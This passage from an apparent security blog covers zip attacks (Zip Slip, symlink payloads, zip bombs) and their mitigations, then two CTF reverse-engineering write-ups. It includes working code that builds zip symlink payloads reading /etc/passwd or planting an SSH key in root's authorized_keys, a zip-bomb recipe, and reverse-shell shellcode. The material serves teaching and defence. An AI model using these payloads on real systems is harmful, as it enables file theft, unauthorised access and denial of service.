│	    └── dirlink        -> /root/.ssh/
└── root/
    └── .ssh/
		└── authorized_keys

Put it into Practice: If you're itching to try out Zip Slip and zip symlink attacks, feel free to try the exercises I've uploaded on GitHub.

DIY: Build your own Zip Symlink Payload!

With Python

Like before, we can use Python to generate zip symlink payloads. We'll need some extra massaging with ZipInfo though.

# evil-link-file.zip
# └── passwd.txt         -> /etc/passwd
with zipfile.ZipFile("evil-link-file.zip", "w", compression=zipfile.ZIP_DEFLATED) as zip:
  # This creates a file symlink named `passwd.txt` which links to `/etc/passwd`.
  info = zipfile.ZipInfo("passwd.txt")
  info.create_system = 0 # Linux => 0. Windows => 3.
  info.external_attr = (stat.S_IFLNK | 0o777) << 16 # File attributes.
  zip.writestr(info, "/etc/passwd")  # /etc/passwd is the file we want to read.

To construct a dir symlink attack, we change the path in zip.writestr to a directory. We also use zip.write to add a source file.

# evil-link-dir.zip
# └── dirlink/           -> /root/.ssh/
#     └── authorized_keys
with zipfile.ZipFile("evil-link-dir.zip", "w", compression=zipfile.ZIP_DEFLATED) as zip:
  info = zipfile.ZipInfo("dirlink")
  info.create_system = 0
  info.external_attr = (stat.S_IFLNK | 0o777) << 16
  zip.writestr(info, "/root/.ssh/")

  # Add an file from our filesystem. (Not a symlink.)
  zip.write("my-ssh-key.pub", "dirlink/authorized_keys")

For a double symlink attack (file symlink + dir symlink), we just combine the two methods and create two symlinks.

# evil-link-dir.zip
# └── dirlink/           -> /some/readable/directory/
#     └── passwd.html    -> /etc/passwd
with zipfile.ZipFile("evil-link-dir-file.zip", "w", compression=zipfile.ZIP_DEFLATED) as zip:
  # Order matters! Write dir first, then file.
  info = zipfile.ZipInfo("dirlink")
  info.create_system = 0
  info.external_attr = (stat.S_IFLNK | 0o777) << 16
  zip.writestr(info, "/some/readable/directory/")

  info = zipfile.ZipInfo("dirlink/passwd.html")
  info.create_system = 0
  info.external_attr = (stat.S_IFLNK | 0o777) << 16
  zip.writestr(info, "/etc/passwd")

_(collapse)

With Shell Commands

Shell commands also work. (Make sure to use -y/--symlinks when zipping symlinks. Otherwise, you'd be adding your actual /etc/passwd!)

Double symlink payload construction:

Create our (soft) links.
ln -s /some/readable/directory/ dirlink
ln -s /etc/passwd dirlink/passwd.txt
Zip the links. (Order matters!)
zip -y evil-link-dir-file dirlink dirlink/passwd.txt

Note that this approach will leave leftover files.

_(collapse)

Limitations of Zip Symlink Attacks

Permissions on Linux.
- To create a symlink, we need execute permissions in the source directory (where the linked file is located) and write/execute permissions in the target directory (where the symlink is created).²
- Reading a symlink requires execute permissions in the source directory, and read permissions on the source file.
Permissions on Windows. By default, only Administrators have the privilege to create symbolic links. This setting can be changed by editing the local group policy or by directly enabling SeCreateSymbolicLinkPrivilege.
Although symlink attacks are cool and all, they're relatively rare (in the wild) compared to Zip Slip. Perhaps symlinks are handled with extra care.

Zip Bombs 💣

Since we're talking about attacks, let's also cover zip bombs for completeness.

Zip bombs are designed to cripple computers, systems, and virus scanners (rather than read sensitive data or escalate privileges, like Zip Slip and symlink attacks). Much like the well-memed fork bomb, a zip bomb attempts to drain system resources.

^{Some fork bomb memes. And zip bomb memes adapted from fork bomb memes. Zip bomb memes where?³}

The basic principle abuses the deflate⁴ compression format to achieve compression ratios of up to 1032:1. This means after compression, every byte of compressed data can represent up to 1032 bytes of uncompressed data.

Zip bombs approach this ratio by compressing a file with highly-repetitive patterns (e.g. all zeros) which can be counted and grouped compactly.

Why are highly-repetitive patterns 'easier to compress'?

To see why repetitive patterns facilitate compression, consider an analogy with run-length encoding. If we want to compress 1111222233334444, we would say four 1s, four 2s, four 3s, four 4s which has a compression ratio of 12 characters to 8 words. But if we want to compress 1111111111111111, we would say twelve 1s, which has a higher compression ratio of 12 characters to 2 words.

_(collapse)

The well-known 42.zip bomb is only 42KB, but contains 5 layers of zips upon zips. Unzipping the first layer yields a harmless 0.6MB. But recursively uncompressed, it yields an astronomical payload of 4.5PB (petabytes, 15 zeros)!

Most decompression tools and virus scanners are wary of zip bombs, and only unzip the first (few) layers or stop after identifying a zip file.

In 2019, David Fifield introduced a better zip bomb, which abuses the structure of a .zip, toying with metadata to trick decompressors into puking ungodly amounts of data.⁵ A 42KB, compressed Fifield zip bomb yields 5.4GB of uncompressed bytes. This is just the first level of decompression! This metadata trickery is more generally known as Metadata Spoofing.

DIY: Build your own Zip Bomb!

Here's a small demo on a Linux shell:

Create a blank file with 5GB of null bytes.
dd if=/dev/zero bs=20000 count=250000 >zero.txt

Zip it.
zip test.zip test.txt

Count the number of bytes.
wc -c zero.txt zero.zip
 5000000000 zero.txt
 4852639 zero.zip
 5004852639 total

From 5GB, we've gone down to ~4.9MB! A few of these could exhaust most virtual machines.

Zip Vulnerabilities in the Wild

Here are some notable zip vulnerabilities in the past decade:

Multiple Zip Vulnerabilities across Flutter and Swift Packages (2023)
Zip Symlink Vulnerability in Juce (2021)
Zip Slip (2018) and Metadata Spoofing (2019) in Rubyzip
Zip Slip Bonanza in Multiple Languages/Frameworks/Packages (2018 - 2019)

Keep in mind zip files come in different forms. Here are some you might be familiar with:

.docx, .pptx, .xlsx (Microsoft Documents),
.jar (Java Archive),
.apk (Android App),
.mscx (MuseScore File).

Any service processing such files has potential to be vulnerable.

Mitigations and Other Considerations

So much for the offensive side. How about the defensive aspect? What approaches can we take to secure our systems?

Let's explore a few ways to mitigate zip attacks. (Some of these can also be applied to protect against other attacks, or may just be general improvements.)

Permissions

For sysadmins.

Avoid running applications as root or Administrator. Instead, run it with a minimum privilege user.

Minimum meaning: enough permissions to get the job done, and only enabling higher permissions when needed. Typically, only read/write are needed. Maybe write permissions for log/upload directories.

In America, "all men are created equal". Not so in filesystems.

Reading, writing, and linking files depends on permissions. Setting appropriate permissions for the process and limiting the scope of an application can go a long way in preventing attackers from snooping secrets.

See Limitations of Zip Slip and Limitations of Zip Symlink Attacks for details on relevant permissions.

Modern Antivirus

For sysadmins and normies.

Upgrade your (antivirus) software. Daily updates to malware signatures ensure your antivirus program stays equipped to detect and thwart emerging threats.

Although zip bombs have targeted antivirus (AV) systems in the past, most modern AV programs can detect zip bombs by recognising patterns and signatures.

Robust Code

For software developers building/maintaining zip applications/libraries.

Consider the nature of your application/library and handle edge cases. Prevent attack vectors where applicable.

Although /../ and symlinks can be used maliciously, they are technically allowed by the zip specification⁶. So... should your product implement protections against these? It depends.

Are you developing an unzip application (for end-users) or a high-level unzip library (to be conveniently imported and used by application developers)?
- Then yes, you should prevent the aforementioned tricks entirely.
Are you developing a low-level unzip library, closely following the zip spec?
- Then not necessarily, but you should play your part by using secure defaults where possible. The responsibility now falls on developers using your library to respect the defaults and assess potential risk.

Code: Malicious Actors Hate This One Simple Trick!

One common way to prevent arbitrary file write attacks is to:

resolve the canonical path of the target file,⁷ and
verify the path is within the unzip directory.

For instance, Juce v6.1.5 added such a check:

if (!fileToUnzip.isAChildOf(directoryToUnzipTo))
  // Attack attempt detected: attempted write outside of unzip directory.
  return Result::fail("...");

_(collapse)

Attack Vectors and Edge Cases to Consider

For high-level unzip libraries and applications.

Checklist of edge cases to consider.

.. (Zip Slip),
symlinks (zip symlink attacks),
potential uncompressed file size (especially if your application targets end-users or constrained systems).

_(collapse)

Good Defaults

For all unzip libraries and applications.

Don't follow symlink directories.
Don't overwrite files. You don't want your existing files wiped out, right?

It's a good idea to keep these defaults, unless you really need these features, and you're confident with the level of risk you're dealing with.

_(collapse)

Unit Tests

For software developers building/maintaining zip libraries.

Adopt unit testing to verify your code works as intended. Add test cases against unintended situations.

Test cases prevent software regression and automate the menial task of manual input. For example, Juce v6.1.5 also introduced a test case against Zip Slip.

tl;dr

A quick recap:

There are generally three streams of zip attacks:
- Arbitrary File Write with Zip Slip
- Arbitrary File Read/Write with Zip Symlink Attacks
- Denial of Service with Zip Bombs and Metadata Spoofing
Ways to counter zip attacks include:
- (Sysadmins) Run applications with a minimum-privilege user.
- (Regular Users, Sysadmins) Regularly update antiviruses with new signatures.
- (Software Developers) Adopt strong software development practices, including error handling, secure defaults, and unit tests.

While zip files offer convenience and efficiency in compressing and sharing data, we shouldn't overlook the security implications they can present. Hopefully this article left the reader with some understanding of their potential risks.

Anecdotes? Stories? New zip developments? Let me know by leaving a comment. 🙂

Other References

PentesterAcademy: From Zip Slip to System Takeover
SecurityVault: Attacks with Zip Files and Mitigations
zipattack.py - various functions to construct zip payloads in Python

Footnotes

Okay, some steps were skipped here for the sake of simplicity. The long answer is: reading a symlink also depends on permissions of the source file and the source directory. If we can read files in our upload directory and if we have sufficient permissions, then we can (potentially) have arbitrary file read. See Limitations. ↩︎
Reference: SO: Minimum Permissions Required to Create a Link to a File ↩︎
There probably aren't as many memes on zip bombs as they tend to be a software bug which can be swiftly patched. ↩︎
This is the same compression algorithm used in gzip (commonly used for transferring files across the web) and PNGs. ↩︎
Fifield's article on "a better zip bomb": https://www.bamsoftware.com/hacks/zipbomb/. (It may be blocked on some browsers.) ↩︎
Reference: PKWare Mirror ↩︎
Canonical path means no ./, no ../, no ~/, no symlinks. Just a directory built directly from /. ↩︎

HKCERT CTF 2023 – Decompetition: Vitamin C++

2023-11-16T00:00:00Z

Oh boy, another C++ reverse challenge. :rubs_hands_in_delight:

Decompetition: Vitamin C++ is a reverse engineering challenge in this year's HKCERT CTF, an annual online capture-the-flag competition hosted in Hong Kong. The format is slightly different from usual rev chals in that we’re required to derive the source code of a binary. This really tests our understanding of how the language is compiled into machine code.

So whether you’re a first-timer or a veteran at reversing C++, this is a fun(?) way to dive deep into or review neat aspects of the language.

If you want to follow along, you can grab the challenge here: GitHub (Backup). I’ll also be relying on Ghidra as my decompiler, because I ~~am poor~~ want to support open-source.

Description

Author: harrier
4/5 stars ⭐️. 5/311 solves.

So let's learn reverse with Decompetition!¹ The goal is simple: try to recover the original source code as much as possible, while understand the code logic deeply to get the internal flag! Only with two of those together, you will win this flag.

STL is used everywhere, so it would be nice to be able to reverse them!

Note there is an internal flag with flag format internal{}. Please do not submit this directly to the platform.

g++ version: g++ (Debian 12.2.0-14) 12.2.0
nc chal.hkcert23.pwnable.hk 28157

And a note on testing:

If you want to run this locally, you can install all the prerequisite library with pip, and run python compiler trie.disasm.
pip install pyyaml capstone intervaltree pyelftools diff_match_patch

Thus, to get the flag, we need to:

Obtain the source code (97.5% similarity).
Obtain the internal flag by reversing the source code.
Submit the internal flag (not to the platform, but to the remote connection).
Profit!

(You can see this process play out in compiler.py.)

The first step is the most challenging. Even if we have a decent understanding of the program, we still need the source code to continue.

Let’s start by analysing what we’re given and how we can approach the problem. We'll aim for 100% similarity, but go step by step.

Analysis

Unzipping our bag of goodies, we’re given:

compiler.py. This is the backend doing all the compilation and diffing.
- Only TrieNode methods, wordhash, and main are diffed.
- Prior to compiling, our code is prefixed with some boilerplate (includes of unordered_map, string, and iostream).
build.sh. Checks our code against bad patterns, and compiles the program.
trie. This is the binary file of our target source code. Open this in your favourite decompiler.
trie.disasm. This is the disassembly used by compiler.py for diffing.
flag.txt. Read and printed by compiler.py after submitting the internal flag.
A bunch of other Python files to make things work.

Is there a way we can simplify the process?

Inline assembly with asm, attribute trickery, and macros are disallowed.

A quick Google search for TrieNodes resulted in disappointment. The mix() function is especially unique, as tries generally just do insert/search. So we can probably conclude: the implementation was either hand-spun or modified substantially.

It appears the most productive approach is to tackle the problem head on.

But hey, it’s just a simple lil’ trie, not a friggin standard template container or Boost/Qt library. We can do this!

Trie Me

Let’s briefly review tries. What is a trie?

Tries, or prefix trees, are data structures commonly used to efficiently store and retrieve strings. They are particularly useful for tasks like autocomplete or spell checking. The key idea behind tries is that each node in the tree represents a prefix of a string, and the edges represent the characters that can follow that prefix.

^{Example of trie containing the words and, ant, dad, and do. Each edge represents a letter to the next prefix. (Source)}

In terms of matching an exact string, the complexity is similar to a hashmap: O(n) insert/search time, w.r.t. the length of the string. But a hashmap is typically faster as it requires fewer operations.
The power of tries comes with alphabetical ordering and prefix search (which is why they’re useful for autocomplete). Hashmaps can't do this.

Setting Up the Structure

Demangling Names

Let’s start by demangling functions! This way, we’ll roughly know its name and signature—big clues, from a functional viewpoint.

In C++, function and class names are mangled. So instead of using sensible names like TrieNode::mix, std::string::substr, and std::endl, the compiler stores hellish sequences like _ZN8TrieNode3mixEc, _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6substrEmm, and _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_. (Yes, endl is a function.)

Why do C++ compilers behave this way?

This has to do with function overloading. For example:

void print(int i) { /* ... */ }
void print(float f) { /* ... */ }
void print(std::string s) { /* ... */ }

^{C++ function overloading in action. Same name. Different parameters.}

With function overloading, names are reused. Now if the names are the same, how can the linker find and call the right function? The compiler solves this by encoding a function’s signature into its name, so that all names are unique. (We don't have this problem in plain old C, because function overloading isn’t even a concept!)

_(collapse)

To demangle these cryptic monstrosities, we can throw them into online tools (e.g. demangler.com²) or just use a C++-enabled decompiler (e.g. Ghidra) which automatically demangles names.

Classy Types

When discussing C++, it’s hard to avoid the topic of classes. These supercharged C-structs are the basis of any object-oriented program.

Looking at the demangled function names, we can identify the TrieNode class. What next?

There are two parts to reversing a class:

Methods/functions. How does the class behave? What does it do?
- These are easy to find due to the prefix (e.g. TrieNode::). Reversing their content is a different question, which we'll address in upcoming sections.
Members. What comprises a class? What is its state?
- This is a tricky question to answer, as variable names are usually stripped. Careful analysis of reads/writes is required (xrefs are useful!).
  - Is it set to only 0 or 1? And used in conditions? Probably a boolean.
  - Is it compared to other numbers a lot and used near loops? Probably an integer representing size.
- By peeking at the TrieNode constructor, we figure out that TrieNode has three members.
  1. An unordered map (aka hashmap) from chars to nodes. Size: 0x38 bytes. As this resembles the edges of the node, we'll call variable this next_node.
  2. A bool. Size: 1 byte.
  3. Another bool. Size: 1 byte.

Overall, our structure should resemble:

using namespace std; // FYI, this is discouraged in actual software engineering: https://stackoverflow.com/q/1452721/10239789.

void wordhash(string s) {} // return type: ???

struct TrieNode {
	// Members.
	unordered_map<char, TrieNode*> next_node;
	bool bool1;
	bool bool2;

	// Constructor.
	// Initialise variables. `next_node`'s constructor is called automatically.
	TrieNode() : bool1{false}, bool2{false} {}   // Member Initialiser List: https://cplusplus.com/articles/1vbCpfjN/

	void insert(string s) {} // return type: ???
	void search(string s) {} // return type: ???
	void mix(char cmix) {} // return type: ???
}

int main() {}

^{Return types are unknown, because most compilers don't mangle them with the name. For now, they've been substituted with void and left as an exercise for the reader.}

On Struct vs. Class

Structs are public by default. Classes are private by default.

Public/private are concepts which fall under OOP encapsulation. With encapsulation, we bundle data and only expose certain API methods for public users, whilst hiding implementation. With a cyber analogy, this is not unlike exposing certain ports (HTTP/HTTPS) on a machine, and protecting other ports with a firewall.

I chose to use struct here because I'm lazy and want to make members public.³ Some of them are accessed directly in main anyway.

_(collapse)

Reversing

Plagiarise a Decompiler

Now that we have a basic structure set up, it's time to dig deeper. We need to go from binary to source code. Hmm… that sounds like a job for… a decompiler!

So let’s start with that! We can ~~plagiarise~~ copy output from Ghidra and rewrite it to make programmatic sense.

Exercise: Reverse the wordhash function.

Solution

char wordhash(string s)
{
    char hash = 0;
    for (int i = 0; i < s.size(); i++)
        hash ^= s[i];
    return hash;
}

This is a simple hash function which xors all characters in a string. It's not a very effective hasher, because it's prone to collisions (also it's not const-correct). But eh, this is just for a CTF challenge.

_(collapse)

Implement the Data Structure

Time to implement the core of the program: the TrieNode class. As before, we can refer to Ghidra's output.

Exercise: Reverse TrieNode::insert, TrieNode::search, and TrieNode::mix.

We can make good use of Ghidra's Rename, Retype, and Edit Function Signature tools to clean up the code.
Ghidra sometimes loads incorrect function signatures (e.g. for operator[]). You may wish to edit the signature so that it displays arguments properly.⁴

I'll leave the first two functions as an exercise for the reader. :)

mix() seems to be a total oddball, as tries don't usually have such a function.

^{Ghidra decompilation of TrieNode::mix().}

TrieNode::mix: Possible Solution

void mix(char cmix)
{
	unordered_map<char, TrieNode*> new_map;

	// For each edge...
	for (auto it = this->next_node.begin(); it != this->next_node.end(); ++it) {
		auto pair = *it;
		char ch = std::get<0>(pair);
		TrieNode* node = std::get<1>(pair);
		// ...update the character.
		new_map[ch ^ cmix] = node;
	}

	// A new map is used so that old mappings aren't kept.
	// Update the map of the current node.
	this->next_node = new_map;

	// Recurse into child nodes with the same xor key.
	for (auto it = this->next_node.begin(); it != this->next_node.end(); ++it) {
		auto pair = *it;
		char ch = std::get<0>(pair);
		TrieNode* node = std::get<1>(pair);
		node->mix(cmix);
	}
}

Now if you run this through the compiler diff, it should respond with some lines:

-call    _ZSt3getILm0EKcP8TrieNodeERNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERS7_
+call    _ZSt3getILm0EKcP8TrieNodeERKNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERKS7_

Subtle. But there is a good reason why this occurs. We'll look at this in more detail later.

_(collapse)

On Various Features

Common, but worth mentioning.

On auto

auto is a special keyword introduced in C++11 typically used to tell the compiler: "figure out this type for me".

It has seen wide adoption and growing support in the standard (more features for auto are added each standard). Now (C++20) it's used widely in template parameters and lambda parameters.

_(collapse)

On Iterators

The previous solution for mix() made use of iterators. These are commonly used by the STL, providing a generic interface for iterating over containers.

for (auto it = container.begin(); it != container.end(); ++it) {
	// ...
}

We generally start with .begin() and iterate with prefix increment (++it) until we hit the .end() iterator. With iterators, we can apply generic algorithms on generic containers.

_(collapse)

On Unordered Map

You may be wondering: why std::unordered_map? Why not std::map? Why type 10 extra keystrokes?

The reason is time complexity.

std::map is a binary search tree, giving O(log n) search time on average (where n is the number of entries).
std::unordered_map is a hashmap, giving O(1) search time on average. Takes more space though.

As the value of n increases, the number of operations required for std::map will increase at a faster rate compared to std::unordered_map. This is because std::unordered_map is not affected by the number of entries in the map (except in the case of rehashing); hence, the constant time complexity, O(1).

In the interest of performance, it's typical to opt for unordered_map.

But in our case, since a node only has 256 possible edges (char), the potential speed boost is limited, and the choice between map and unordered_map is debatable. ¯\_(ツ)_/¯

_(collapse)

On Scoping

An object in C++ has a constructor and destructor, functions that run at the beginning and end of its lifetime. The object's scope affects the placement of its constructor and destructor.⁵

Let’s look at some examples:

// String in outer scope.
int main()
{
	std::string s; // <- string constructor called
	if (1) {
		// do stuff
	}
} // <- string destructor called

// String in inner scope.
int main()
{
	if (1) {
		std::string s; // <- string constructor called
		// do stuff
	}   // <- string destructor called
}

Do you C the difference?

Things become complicated when we further consider lvalues and rvalues (think: variables and temporaries).

Complicated Examples

// Passing lvalue string to normal parameter.
// Copy constructor is called and a temp object is created.
void print(string s);

int main()
{
	std::string s; // <- string constructor called
	if (1) {
		// do stuff
		// ---
		// <- string copy constructor called (copies s to a temporary)
		print(s);
		// <- string destructor (of temporary string) called
		// ---
		// do more stuff
	}
}   // <- string destructor called

// Passing rvalue string to normal parameter.
// Regular constructor is called and a temp object is created.
void print(string s);

int main()
{
	if (1) {
		// do stuff
		// ---
		// `const char*` literal is implicitly converted to std::string.
		// <- string constructor called (creates a temporary)
		print("Hello world!");
		// <- string destructor (of temporary string) called
		// ---
		// do more stuff
	}
}

_(collapse)

I don't intend to cover every single possible case. But yes, C++ is extremely nuanced in this regard. (See also: classes, special member functions, move semantics.)

The point is: object scoping is all reflected at assembly level. We can get a good understanding where an object is declared by paying attention to its constructors and destructors.

This applies to classes, such as STL containers. Primitives (int, char, pointers) don't have constructors/destructors, so it’s trickier to tell where they're instantiated. It's even trickier with heavy optimisations.

Exercise: Reverse the main function.

Use the position of constructors and destructors to determine the scope of various strings.
Beware backslashes in the inserted strings.

Possible Solution

int main()
{
    int opt;
    string str;
    TrieNode* node = new TrieNode();

	// `const char*` literal is implicitly converted to std::string.
    node->insert("\x72\x50\x54\x52\x73\x66\x51\x5a\x79\x72\x75\x4b\x7f\x4e\x4d\x55\x47\x7e\x68\x7e\x72\x51\x42\x71");
	// node->insert(string("...")); also works
    // -- snip --
    // node->insert("...");
    
    node->should_mix = true;

    cout << "Enter [1] for insert string" << endl;
    cout << "Enter [2] for search string" << endl;

    while (true) {
        cout << "Option: ";
        cin >> opt;
        if (opt == 1) {
            cout << "Input string to insert: " << endl;
            cin >> str;
            node->insert(str);
        } else if (opt == 2) {
            cout << "Input string to search: " << endl;
            cin >> str;
            bool res = node->search(str);
            if (res)
                cout << "String " << str << " exists." << endl;
            else
                cout << "String " << str << " does not exists." << endl;
        } else {
            cout << "Bye" << endl;
            return 0;
        }
    }
}

_(collapse)

From here on, we'll continue making incremental adjustments to improve our score, while learning various C++ nuances and features.

On Structured Bindings

Here we take a detour to peek at build.sh. And something sparkly catches our eye:

g++ "$@" -fno-asm -std=c++17 -g -o "$binary" "$source"

Our code is compiled with C++17—what an oddly specific standard!

One cool feature introduced by this standard is structured bindings, which is as close as we can get to Python iterable unpacking.

for (auto it = next_node.begin(); it != next_node.end(); ++it) {
	// -----
    auto pair = *it;
    char ch = std::get<0>(pair);
    TrieNode* node = std::get<1>(pair);
	// +++++
    auto [ch, node] = *it;
	// +++++
    new_map[ch ^ cmix] = node;
}

Since it is an iterator over key-value pairs, we can dereference, then bind (unpack) the pair to ch and node.

One telltale sign of structured bindings is in the second loop of TrieNode::mix(). Notice how the first item of the pair (ch2 = std::get<0>(pair);) is read but never used.

^{Ghidra decompilation of the second loop of mix(). Notice how ch2 is never used. (You can also verify this by inspecting the disassembly!)}

Another giveaway is that std::get is rarely used to access map pairs, unless in generic code. The idiomatic ways are:

std::pair members (through iterator): it->first, it->second

std::pair members (through pair):

for (const auto& pr : map) {
  // pr.first, pr.second
}

structured bindings (since C++17)

N.B. With optimisations, these indicators would be less obvious. Thankfully the program wasn't compiled with optimisations.

On Const Ref

We're still short of our target though. Some diff lines stand out:

 ; Extra stack variables!
-sub     rsp, 0xc8
-mov     [rbp-0xc8], rdi
+sub     rsp, 0xb8
+mov     [rbp-0xb8], rdi
 ; Calling the wrong overload!
-call    _ZSt3getILm0EKcP8TrieNodeERNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERS7_
+call    _ZSt3getILm0EKcP8TrieNodeERKNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERKS7_

^{Extracted diff lines from compiler.py output. Red (-) indicates extra lines in our program. Green (+) indicates missing lines.}

Looks like we declared 16-bytes of extra stack variables.
- Local variables are stored on the stack, which allocates memory by a simple sub instruction.
- Larger subtraction = more stack memory allocated.
It also looks like we called the wrong overload. The mangled names — simplified for readability — translate to:
```
-std::get<0>(std::pair<char, TrieNode*>&)
+std::get<0>(std::pair<char, TrieNode*> const&)
```
C++

We can fix both these issues by qualifying our binding as const&.

 for (auto it = next_node.begin(); it != next_node.end(); ++it) {
-    auto [ch, node] = *it;
+    const auto& [ch, node] = *it;
     new_map[ch ^ cmix] = node;
 }

With auto, our binding was creating new char and TrieNode* copies. (Hence, the extra 16 bytes.) With const auto&, we take a constant reference.

Constant: meaning we only read the value. No modifications. This fixes the second issue.
Reference: meaning we refer (point) to the original objects instead of copying them. This fixes the first issue.

Using const-refs is good practice for maintainability and performance (imagine copying a 64-byte struct each iteration 🤮).

On For-Range Loops

The astute may notice the above can be refactored slightly with the help of range-based for-loops. These were introduced in C++11, and are like Python for-in loops, but less powerful.

Example

-for (auto it = next_node.begin(); it != next_node.end(); ++it) {
-    const auto& [ch, node] = *it;
+for (const auto& [ch, node] : next_node) {
     new_map[ch ^ cmix] = node;
 }

_(collapse)

In fact, range-based for-loops are syntactic sugar for the plain loops we all know and love.

for (range_decl : range_expr) {
	/* ... */
}

translates to...

{
	auto&& __range = range_expr;
	auto __begin = begin; // Usually std::begin(__range)
	auto __end = end;     // ...and std::end(__range).
	for (; __begin != __end; ++__begin) {
		range_decl = *__begin;
		/* ... */
	}
}

(See more: cppreference.)

On Control Flow

Decompiler output may not accurately present the control flow of the original program. Changing:

the order of control flow, and
which statement is used

may lead us closer to 100%.

Would it make more sense to use a switch instead of an if in a certain place?

Other Useful Tips

Use Godbolt’s Compiler Explorer to play around with disassembly output. It helps with analysing small details such as variable declaration.
- Remember to set x86-64 gcc 12.2 and -std=c++17.
Two good sources for standard library documentation are cppreference (high quality) and cplusplus.com (beginner-friendly).
Version control is incredibly useful for tracking incremental changes.

The Infernal Flag

Once we recover enough source code, it's time to find the internal flag. This is probably the least interesting part (for me), so I'll keep it short.

Notice:

In main, a bunch of garbage strings are inserted into the trie.
Afterwards, mixing is turned on (node->should_mix = true), so that the next node->insert() will jumble the trie...

Now it's time to take a really close look at mix().

What is jumbled? All the strings.
How? All chars are xor'ed with a char (the wordhash of a string).
How many possible chars are there? 256.
Two words: brute force.

Maybe one of the strings just happens to be the internal flag xor'ed. Who knows?

After getting ≥ 97.5% similarity and finding the internal flag, submit both to the platform and profit!

Final Remarks

I'm sure the chal is called Vitamin C++ because it's designed to make us (mentally) stronger. Every time you trie harder, you lose a brain cell but strengthen a neuron. Indeed, we covered quite a lot of concepts today:

Language Features: auto, structured bindings, for-range loops, const-ref.
Library Features: iterators, unordered map.
Unordered map is preferred for performance in lookup.
Scoping (and lvalue-rvalueness) affects position of constructors/destructors. (Very good takeaway for C++ reversing.)
Pay attention to groups of sub and mov instructions to check if we declared too little/many stack variables.
Ghidra is pretty powerful.
C++ is fun.

Lots of tuning was involved; but the various tricks employed above netted us a first blood, so I can't complain. Despite a couple lines of janky const-uncorrect code, it was a nice challenge.

Also, who doesn't like a good pun hidden in a challenge?

Solve Sauce

(Files not embedded, as they're a bit big.)

Flag

hkcert23{c++stl_i5_ev3rywh3r3_dur1ng_r3v}

Footnotes

Decompetition is a reverse-engineering CTF held irregularly. ↩︎
[2024 Nov] demangler.com seems to be down. Here's a different site with similar functionality: n.fuqu.jp/c++filtjs/ ↩︎
In proper engineering, we would hide the implementation behind private, so next_node should be a private variable. But since this is a CTF, proper engineering comes second. 😛 ↩︎
Or just read the assembly and follow the call conventions (thiscall for member functions, fastcall for everything else). ↩︎
This also depends on optimisations, and whether the object contains any other classes. In some cases, constructors or destructors may be inlined or optimised away. ↩︎

HITCON 2023 – The Blade

2023-09-20T00:00:00Z

My first Rust rev solve! Though in hindsight, not much Rust knowledge was needed.

Description

A Rust tool for executing shellcode in a seccomp environment. Your goal is to pass the hidden flag checker concealed in the binary.

Author: wxrdnx
40/683 solves.

Writeup

Running the Server

Let’s start by running the binary. We can get a feel by navigating the program with help and other commands.

Turns out we’re given a C2 (Command and Control) interface which sends shellcode. Imagine we control a compromised machine. By running a malicious shellcode, we can trigger a reverse shell to our server, so that we can easily send more commands from the server.

Anyhow, we can start the server with:

server
run

We’re told to run some shellcode on the “client”. By default, this starts a connection to localhost:4444.

A simple alternative is to run nc localhost 4444 (on a separate shell). This will initiate a connection to the server, but it won’t have the same effect as the shellcode.
To run the shellcode, we can compile a simple C program containing the shellcode and execute it.

#include <stdio.h>
#include <stdlib.h>

int main()
{
    unsigned char shellcode[] = "\xeb\x10\x31\xc0\x53\x5f\x49\x8d\x77\x10\x48\x31\xd2\x80\xc2\xff\x0f\x05\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x50\x5b\x48\x97\x68\x7f\x00\x00\x01\x66\x68\x11\x5c\x66\x6a\x02\x54\x5e\xb2\x10\xb0\x2a\x0f\x05\x4c\x8d\x3d\xc5\xff\xff\xff\x41\xff\xe7";
    ((void (*)(void))(shellcode))();
}

// Compile with:
// gcc main.c  -fno-stack-protector -z execstack && gdb ./a.out

After running, then what? The commands don’t seem to reveal much, and at this point it’s a bit guessy. Time to turn to a decompiler.

Identifying Interest Points

What command triggers the flag checker?
Where is the flag processed?
How is the flag processed?

According to the description, the program contains a flag checker. So presumably we pass the flag as input at some point. But where and how?

By running strings, we find an interesting set of strings: ?flag, ?help, ?exit, ?quit. This pattern can’t be a coincidence.

In your favourite decompiler, do a search for the bytes ?flag. If you can’t find it, try playing with endian settings. This should lead you to seccomp_shell::shell::prompt().

Under a condition checking for flag, we’re led to seccomp_shell::shell::verify().

Although strings shows ?flag as the full string, the actual string is just flag. Questionable, no? This is because the byte before flag happens to be \x22 (i.e. ?). strings doesn’t know better, because it doesn’t actually disassemble the program.

So how is the flag actually processed? This requires a careful study of verify(), with a touch of dynamic analysis and experimentation.

Like most flag checkers, it turns out we just pass the flag as input (alongside the flag command).

flag hitcon{test_flag}

And like most flag checkers, we’re immediately hit with “Incorrect”.

We also get some hints about the flag's length...

...by glancing at the start of verify()...

...64.

if (param_3 != 0x40) {
	auVar27 = <>::from("incorrect/",9);
	return auVar27;
}

When we try sending a flag 64-bytes long, we get something on our other shell. We're not immediately hit with an "Incorrect".

flag hitcon{AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN}

_(collapse)

Reversing the Encryption

Time to play the UNO reverse card on this binary!

There are 3 parts to the encryption. What addresses do they begin and end?
What is each part doing?

Let’s recognise some high level patterns.

It’s easy to be intimidated by the multitude of loops; but really, half the loops are the same, just wearing different clothes.

There are the 3 parts to the encryption:

Part 1 (112d10 – 113017).
Part 2 (113020 – 11309c).
Part 3 (11310e – 1133a5).

The procedure is roughly:

for _ in range(256):
	part1(flag)
	part2(flag)

part3(flag, interesting_data_a7516852)

1. Reversing the Permutation

Address: 112d10 – 113017.

Eight loops, doing pretty much the same thing. Let’s focus on the first one.

memcpy(&some_buffer,&SOME_ADDRESS,0x200);
n = 0x40;
puVar21 = (ulong *)&some_buffer_offset_by_4;
do {
	uVar23 = puVar21[-1];
	if (0x3f < uVar23)
		goto panic;
	uVar1 = __ptr[n - 1]; // __ptr :: char[]
	__ptr[n - 1] = __ptr[uVar23];
	__ptr[uVar23] = uVar1;
	
	uVar23 = puVar21[0];
	if (0x3f < uVar23)
		goto panic;
	uVar1 = __ptr[n - 2];
